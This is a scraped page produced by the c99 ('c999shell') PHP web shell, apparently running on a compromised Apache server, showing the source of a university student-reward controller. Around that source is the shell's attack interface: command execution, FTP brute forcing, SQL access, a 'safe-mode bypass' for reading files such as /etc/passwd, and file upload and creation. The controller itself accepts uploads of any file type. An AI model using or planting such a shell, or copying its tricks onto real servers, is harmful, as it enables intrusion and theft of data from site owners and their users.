!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/esa/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     academic.php (11.23 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('sa_controller.php');
class 
Academic extends Sa_controller {

    function 
srw_input() {
        
$this->load->model($this->config->item('rg_folder').'mo_rg_studentreward','srw');
        
        
//$srwStdId = $this->input->post('srwStdId');
        //$srwSeq = $this->input->post('srwSeq');
        
$srwRewardName $this->input->post('srwRewardName');
        
$srwReceiveDate $this->input->post('srwReceiveDate');

        
$data['v_search'] = ($this->input->post('v_search')) ? $this->input->post('v_search') : getNowDateFw2();
        if(
$srwRewardName!="" && $srwReceiveDate!="") {
            
/*$con_qu_srw = array('srwStdId'    => $srwStdId,
                                'srwSeq'    => $srwSeq);
            $data['qu_srw'] = $this->srw->qrySrwJoinStdPf($con_qu_srw);
            */

            
$con_qu_srw = array('srwRewardName'    => $srwRewardName,
                                
'srwReceiveDate'    => $srwReceiveDate);
            
$ord_std = array('stdCode'    => '');
            
$data['qu_srw'] = $this->srw->qrySrwJoinStdPf($con_qu_srw,$ord_std);
        }

        
$i 0;
        
$arr = array();
        
$rs_srw $this->srw->qrySrwRewardNameSinceSrwReceiveDate(splitDateForm2($data['v_search']));
        if(
$rs_srw->num_rows()) {
            foreach(
$rs_srw->result() as $row_srw) {
                
$con_std = array('srwRewardName'    => $row_srw->srwRewardName,
                                 
'srwReceiveDate'    => $row_srw->srwReceiveDate);
                
$ord_std = array('stdCode'    => '');
                
$std $this->srw->qryAllSrwJoinSrwu($con_std,$ord_std);
        
//echo $this->db->last_query().'<br>';
                
$arr[$i] = array('srwRewardName'    => $row_srw->srwRewardName,
                                 
'srwReceiveDate'    => $row_srw->srwReceiveDate);
                
$arr[$i]['std'] = $std;

                
$i++;
            }
        }

        
$data['arr'] = $arr;

        
$this->output("v_studentAcademic"$data);
    }

    function 
srw_insert_update() {
        if(
$this->input->post('btnCancel')){//click cancel button
            
redirect($this->config->item('sa_folder').'academic/srw_input');
        }else{
            
$this->load->library('form_validation');
            
$this->form_validation->set_error_delimiters('<div class="error">''</div>');

            
$this->form_validation->set_rules('srwRewardName''ผลงานวิชาการ/นวัตกรรม''trim|required|xss_clean');
            
$this->form_validation->set_rules('srwDescription''รายละเอียด''trim|required|xss_clean');
            
$this->form_validation->set_rules('srwReceiveDate'' ''trim|xss_clean');
            
$this->form_validation->set_rules('wk11_co''รายชื่อนักศึกษา''trim|required|xss_clean');
            
$this->form_validation->set_rules('srwStdId'' ''trim|xss_clean');
            
$this->form_validation->set_rules('srwSeq'' ''trim|xss_clean');

            
$srwRewardName $this->input->post('srwRewardName');
            
$srwDescription $this->input->post('srwDescription');
            
$srwReceiveDate splitDateForm2($this->input->post('srwReceiveDate'),'-');
            
$wk11_co $this->input->post('wk11_co');
            
//$srwStdId = $this->input->post('srwStdId');
            //$srwSeq = $this->input->post('srwSeq');
            
$rs_std explode("###"$wk11_co);

            if(
$this->form_validation->run() == true) {
                
$this->load->model($this->config->item('sa_folder').'sa_student_model','std');
                
$this->load->model($this->config->item('rg_folder').'mo_rg_studentreward','srw');

                
$this->db->trans_begin();
                
//if($qu_srw->num_rows()==0) {
                    
if(count($rs_std) > 0) {
                        foreach(
$rs_std as $value) {
                            
$v explode(":"$value);
                            
//$v[0] : รหัสนักศึกษา
                            //$v[1] : ชื่อนักศึกษา

                            
$qu_std $this->std->get_std_id($v[0]);
                            
$stdId $qu_std->row()->stdId;

                            
$con_rs_srw = array('srwRewardName'        => $this->input->post('srwRewardNameOld'),
                                                
'srwReceiveDate'    => $this->input->post('srwReceiveDateOld'),
                                                
'srwStdId'            => $stdId);
                            
$qu_srw $this->srw->qrySrw($con_rs_srw);

                            
$this->srw->srwStdId $stdId;
                            
$this->srw->srwReceiveDate $srwReceiveDate;
                            
$this->srw->srwRewardName $srwRewardName;
                            
$this->srw->srwDescription $srwDescription;

                            if(
$qu_srw->num_rows()==0) {
                                
$this->srw->srwSeq $this->srw->getNextSrwSeqBySrwStdId($stdId);
                                
$this->srw->insert();
                            } else {
                                
$this->srw->srwSeq $qu_srw->row()->srwSeq;
                                
$this->srw->update();
                            }

                            
//} else {
                            //    $rollback = 1;
                            //}
                        
}
                    }
                
//} else {
                    // do nothing
                //}

                
if($this->db->trans_status() === false) {
                    
$this->db->trans_rollback();
                } else {
                    
$this->db->trans_commit();
                }

                
redirect($this->config->item("sa_folder")."academic/srw_input");
            } else {
                
$this->srw_input();
            }
        }
    }

    function 
srw_attachFile() {
        
$this->load->model($this->config->item('rg_folder').'mo_rg_studentreward','srw');
        
$this->load->model($this->config->item('rg_folder').'mo_rg_studentrewardfileupload','srwu');

        
$srwRewardName $this->input->post('srwRewardName');
        
$srwReceiveDate $this->input->post('srwReceiveDate');
        
$stdId $this->input->post('stdId');
        
$add $this->input->post('add');
        
$del $this->input->post('del');

        
$data['srwRewardName'] = $srwRewardName;
        
$data['srwReceiveDate'] = $srwReceiveDate;

        if(
$stdId=="") {
            
$con_rs_srw = array('srwRewardName'        => $srwRewardName,
                                
'srwReceiveDate'    => $srwReceiveDate);
            
$ord_rs_srw = array('stdCode'    => "");
            
$data['rs_srw'] = $this->srw->qrySrwJoinStdPf($con_rs_srw$ord_rs_srw);
        } else {
            
$con_rs_srw = array('srwRewardName'        => $srwRewardName,
                                
'srwReceiveDate'    => $srwReceiveDate,
                                
'srwStdId'            => $stdId);
            
$data['rs_srw'] = $this->srw->qrySrwJoinStdPf($con_rs_srw);
            
$data['stdId'] = $stdId;
        }

        if(
$add!="") {
            
$cnt $this->input->post('cnt');

            
$this->load->library('form_validation');
            
$this->form_validation->set_error_delimiters('<div class="error">''</div>');
            
$this->form_validation->set_rules('docName'' ''trim|required|xss_clean');
            
$this->form_validation->set_rules('docFile'' ''trim|xss_clean');

            for(
$i=0$i<$cnt$i++) {
                
//$this->form_validation->set_rules('stdId'.$i, ' ', 'trim|xss_clean');
            
}

            
$this->load->library('upload');
            foreach(
$_FILES as $key => $value) {
                
$config['upload_path'] = $this->config->item('rg_upload_docReward');
                
$config['allowed_types'] = '*';
                
$config['max_size'] = $this->config->item('rg_upload_maxsize');
                
$config['file_name'] = "file_".date('dmY_His');

                
$this->upload->initialize($config);
                if (
$this->upload->do_upload($key)){
                    
$data1 = array('upload_data' => $this->upload->data());
                    
$path $data1['upload_data']['file_name'];

                    
$fileName $this->input->post('docName');
                    
$path $data1['upload_data']['file_name'];
                } else {
                    
$error = array('error' => $this->upload->display_errors());
                    
$this->form_validation->set_rules('docFile'trim($error['error']), 'callback_checkupload');
                }
            }

            
$alias_cnt 0;
            if(
$this->form_validation->run() == true) {
                
$docName $this->input->post('docName');
                if(
$data['rs_srw']->num_rows()) {
                    foreach(
$data['rs_srw']->result() as $row_srw) {
                        
$con_qu_srwu = array('srwuFileName'    => $docName,
                                             
'srwuStdId'    => $row_srw->stdId,
                                             
'srwuSrwSeq'    => $row_srw->srwSeq);
                        
$qu_srwu $this->srwu->qrySrwu($con_qu_srwu);
                        if(
$qu_srwu->num_rows()==&& $this->input->post('stdId'.$alias_cnt)=="Y") {
                            
$this->srwu->srwuId "";
                            
$this->srwu->srwuSeq $this->srwu->getNextSeqByStdId($row_srw->stdId$row_srw->srwSeq);
                            
$this->srwu->srwuSrwSeq $row_srw->srwSeq;
                            
$this->srwu->srwuStdId $row_srw->stdId;
                            
$this->srwu->srwuFileName $fileName;
                            
$this->srwu->srwuPath $path;
                            
$this->srwu->srwuCreateDate date('Y-m-d H:i:s');
                            
$this->srwu->srwuUserId $this->session->userdata('UsLogin');
                            
$this->srwu->insert();
                        }

                        
$alias_cnt++;
                    }
                }
            } else {
                
// do nothing
            
}
        }

        if(
$del!="") {
            
$srwuFileName $this->input->post('srwuFileName');
            if(
$stdId=="") {
                
$con_rs_srwu = array('srwRewardName'    => $srwRewardName,
                                     
'srwReceiveDate'    => $srwReceiveDate,
                                     
'srwuFileName'        => $srwuFileName);
                
$rs_srwu $this->srw->qrySrwJoinSrwu($con_rs_srwu);
            } else {
                
$con_rs_srwu = array('srwRewardName'    => $srwRewardName,
                                     
'srwReceiveDate'    => $srwReceiveDate,
                                     
'srwuFileName'        => $srwuFileName,
                                     
'srwuStdId'        => $stdId);
                
$rs_srwu $this->srw->qrySrwJoinSrwu($con_rs_srwu);
            }
            if(
$rs_srwu->num_rows()) {
                foreach(
$rs_srwu->result() as $row_srwu) {
                    
$this->srwu->srwuId $row_srwu->srwuId;
                    
$this->srwu->get_by_key(TRUE);
                    
$this->srwu->delete();
                }
                
//unlink(base_url().$this->config->item('rg_docReward').$this->srwu->srwuPath);
            
}
        }

        if(
$stdId=="") {
            
$con_rs_srw = array('srwRewardName'        => $srwRewardName,
                                
'srwReceiveDate'    => $srwReceiveDate);
            
$grp_rs_srw = array('srwuFileName'    => 'srwuFileName');
            
$data['rs_srwu'] = $this->srw->qrySrwJoinSrwu($con_rs_srw,'',$grp_rs_srw);
        } else {
            
$con_rs_srw = array('srwRewardName'        => $srwRewardName,
                                
'srwReceiveDate'    => $srwReceiveDate,
                                
'srwStdId'            => $stdId);
            
$data['rs_srwu'] = $this->srw->qrySrwJoinSrwu($con_rs_srw);
        }

        
$this->output("v_studentAcademicAttach"$data);
    }

    function 
srw_delete() {
        
$this->load->model($this->config->item('rg_folder').'mo_rg_studentreward','srw');
        
$this->load->model($this->config->item('rg_folder').'mo_rg_studentrewardfileupload','srwu');

        
$srwRewardName $this->input->post('srwRewardName');
        
$srwReceiveDate $this->input->post('srwReceiveDate');
        
$srwStdId $this->input->post('srwStdId');
        
$srwSeq $this->input->post('srwSeq');

        if (
$srwRewardName != '' && $srwReceiveDate != '') {
            
$con_qu_srw = array('srwRewardName'    => $srwRewardName,
                                
'srwReceiveDate'    => $srwReceiveDate);
            
$ord_std = array('stdCode'    => '');
            
$rs_srw $this->srw->qrySrwJoinStdPf($con_qu_srw,$ord_std);
            if (
$rs_srw->num_rows()) {
                foreach (
$rs_srw->result() as $row_srw) {
                    
$this->srw->srwSeq $row_srw->srwSeq;
                    
$this->srw->srwStdId $row_srw->srwStdId;
                    
$this->srw->delete();

                    
$con_rs_srwu = array('srwuSrwSeq'        => $row_srw->srwSeq,
                                         
'srwuStdId'        => $row_srw->srwStdId);
                    
$rs_srwu $this->srwu->qrySrwu($con_rs_srwu);

                    if (
$rs_srwu->num_rows()) {

                        foreach (
$rs_srwu->result() as $row) {
                            if(
file_exists($this->config->item('rg_upload_docReward').$row->srwuPath)) {
                                
unlink($this->config->item('rg_upload_docReward').$row->srwuPath);
                            }
                        }
                        
$this->srwu->delSrwu($con_rs_srwu);
                    }
                }
            }
        }

        if (
$srwStdId != '' && $srwSeq != '') {
            
$this->srw->srwSeq $srwSeq;
            
$this->srw->srwStdId $srwStdId;
            
$this->srw->delete();

            
$con_rs_srwu = array('srwuSrwSeq'        => $srwSeq,
                                 
'srwuStdId'        => $srwStdId);
            
$rs_srwu $this->srwu->qrySrwu($con_rs_srwu);

            if (
$rs_srwu->num_rows()) {

                foreach (
$rs_srwu->result() as $row) {
                    if(
file_exists($this->config->item('rg_upload_docReward').$row->srwuPath)) {
                        
unlink($this->config->item('rg_upload_docReward').$row->srwuPath);
                    }
                }

                
$this->srwu->delSrwu($con_rs_srwu);
            }
        }

        
redirect($this->config->item("sa_folder")."academic/srw_input");
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0157 ]--